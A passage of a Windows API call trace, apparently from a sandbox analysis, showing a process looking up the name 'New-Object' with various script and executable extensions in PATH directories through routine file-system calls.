lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.389] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.389] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0122.389] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object", lpFilePart=0x0) returned 0x2e [0122.389] GetFullPathNameW (in: lpFileName="New-Object", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object", lpFilePart=0x0) returned 0x28 [0122.389] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\New-Object", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.389] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.389] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.ps1", lpFilePart=0x0) returned 0x22 [0122.390] GetFullPathNameW (in: lpFileName="New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.ps1", lpFilePart=0x0) returned 0x2c [0122.390] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.ps1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.390] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.psm1", lpFilePart=0x0) returned 0x23 [0122.390] GetFullPathNameW (in: lpFileName="New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psm1", lpFilePart=0x0) returned 0x2d [0122.390] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.psm1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.psd1", lpFilePart=0x0) returned 0x23 [0122.391] GetFullPathNameW (in: lpFileName="New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psd1", lpFilePart=0x0) returned 0x2d [0122.391] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.psd1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.391] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.COM", lpFilePart=0x0) returned 0x22 [0122.391] GetFullPathNameW (in: lpFileName="New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.COM", lpFilePart=0x0) returned 0x2c [0122.391] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.COM", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.EXE", lpFilePart=0x0) returned 0x22 [0122.392] GetFullPathNameW (in: lpFileName="New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.EXE", lpFilePart=0x0) returned 0x2c [0122.392] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.EXE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.392] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.BAT", lpFilePart=0x0) returned 0x22 [0122.392] GetFullPathNameW (in: lpFileName="New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.BAT", lpFilePart=0x0) returned 0x2c [0122.393] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.BAT", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.CMD", lpFilePart=0x0) returned 0x22 [0122.393] GetFullPathNameW (in: lpFileName="New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CMD", lpFilePart=0x0) returned 0x2c [0122.393] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.CMD", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.VBS", lpFilePart=0x0) returned 0x22 [0122.394] GetFullPathNameW (in: lpFileName="New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBS", lpFilePart=0x0) returned 0x2c [0122.394] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.VBS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.VBE", lpFilePart=0x0) returned 0x22 [0122.394] GetFullPathNameW (in: lpFileName="New-Object.VBE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.VBE", lpFilePart=0x0) returned 0x2c [0122.394] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.VBE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.395] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.395] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.JS", lpFilePart=0x0) returned 0x21 [0122.395] GetFullPathNameW (in: lpFileName="New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JS", lpFilePart=0x0) returned 0x2b [0122.395] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.JS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.JSE", lpFilePart=0x0) returned 0x22 [0122.396] GetFullPathNameW (in: lpFileName="New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JSE", lpFilePart=0x0) returned 0x2c [0122.396] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.JSE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0122.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\New-Object.WSF", lpFilePart=0x0) returned 0x22 [0122.396] GetFullPathNameW (in: lpFileName="New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSF", lpFilePart=0x0) returned 0x2c [0122.396] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.WSF", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, 